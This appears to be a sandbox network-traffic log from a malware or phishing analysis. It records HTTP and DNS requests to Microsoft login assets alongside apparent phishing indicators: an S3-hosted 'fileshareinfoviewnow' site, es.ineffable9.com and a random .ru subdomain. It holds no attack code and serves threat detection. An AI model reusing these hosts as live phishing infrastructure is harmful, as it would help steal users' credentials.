Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/ConvergedLogin_PCore_h6TdaK6cfsrg175w47aRCA2.js HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://login.microsoftonline.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://login.microsoftonline.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_i8f-75gfk3tbsm8bmatnqa2.js HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://login.microsoftonline.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://login.microsoftonline.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_i8f-75gfk3tbsm8bmatnqa2.js HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/ConvergedLogin_PCore_h6TdaK6cfsrg175w47aRCA2.js HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://login.microsoftonline.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_117b650bccea354984d8.js HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://login.microsoftonline.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_d0a803279e7397bef834.js HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://login.microsoftonline.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://login.microsoftonline.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_117b650bccea354984d8.js HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://login.microsoftonline.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_d0a803279e7397bef834.js HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://login.microsoftonline.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://login.microsoftonline.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://login.microsoftonline.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_4285088f1dbaf52a876d.js HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://login.microsoftonline.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_4285088f1dbaf52a876d.js HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: fileshareinfoviewnow.s3-website.us-east-2.amazonaws.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: fileshareinfoviewnow.s3-website.us-east-2.amazonaws.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Referer: http://fileshareinfoviewnow.s3-website.us-east-2.amazonaws.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: www.freelancer.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com.bn
Source: global traffic	DNS traffic detected: DNS query: fileshareinfoviewnow.s3-website.us-east-2.amazonaws.com
Source: global traffic	DNS traffic detected: DNS query: hcaptcha.com
Source: global traffic	DNS traffic detected: DNS query: es.ineffable9.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: yukuvxhtrnk0wchufr84hll2yb3zr67modguzupwm5gejc6icniahh6eam4.bfcgpixdwnw.ru
Source: global traffic	DNS traffic detected: DNS query: excel.office.com
Source: global traffic	DNS traffic detected: DNS query: www.microsoft365.com
Source: global traffic	DNS traffic detected: DNS query: login.microsoftonline.com
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net

Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/b/flow/ov1/2128624006:1733430709:1kaw-EvXPlJ06sc69WjGhomWhSrpyXilzAXkA-dCLoQ/8ed70eb9892b182d/Sey5sIGgWq2IHAhb.hmGJJM2_dPBBNiAE.KWWLOalys-1733433389-1.1.1.1-OfYSI5AbGvARg9nLEkAySRpA3JyG_DHs_QQoNYUtdlF7RyAYasul4Do7qmfINcH9 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 3025sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-type: application/x-www-form-urlencodedCF-Chl-RetryAttempt: 0sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36CF-Challenge: Sey5sIGgWq2IHAhb.hmGJJM2_dPBBNiAE.KWWLOalys-1733433389-1.1.1.1-OfYSI5AbGvARg9nLEkAySRpA3JyG_DHs_QQoNYUtdlF7RyAYasul4Do7qmfINcH9sec-ch-ua-platform: "Windows"Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/t2aqf/0x4AAAAAAAypj9TgMI1HPmLv/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 05 Dec 2024 21:16:31 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fqKH%2BfBdlK6H9SxzLOkq%2BqHj1aDG%2B9Nyqi0L9prj2hCH7ohoKwxWdHAAHBJLxxOV%2BBXV0yVNc%2BiDCgfhwt%2F%2FJ5yCtv9SkCeqa0A8utw4iw78skKJCdbdz4qPu6dTFg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=493&min_rtt=493&rtt_var=186&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2285&delivery_rate=5803607&cwnd=251&unsent_bytes=0&cid=831f884d57ed7a3e&ts=171&x=0"CF-Cache-Status: HITAge: 425Server: cloudflareCF-RAY: 8ed70eca3e488c0b-EWRserver-timing: cfL4;desc="?proto=TCP&rtt=1862&min_rtt=1805&rtt_var=792&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1914&delivery_rate=1288045&cwnd=206&unsent_bytes=0&cid=c0218431bd3682ce&ts=9663&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 05 Dec 2024 21:16:35 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: uSJBx+vJ0Od8sefpGSWQhYLQH6sN0A0CQyA=$uD3hDGwJLf9c764xServer: cloudflareCF-RAY: 8ed70ee24d5d0f4d-EWRalt-svc: h3=":443"; ma=86400
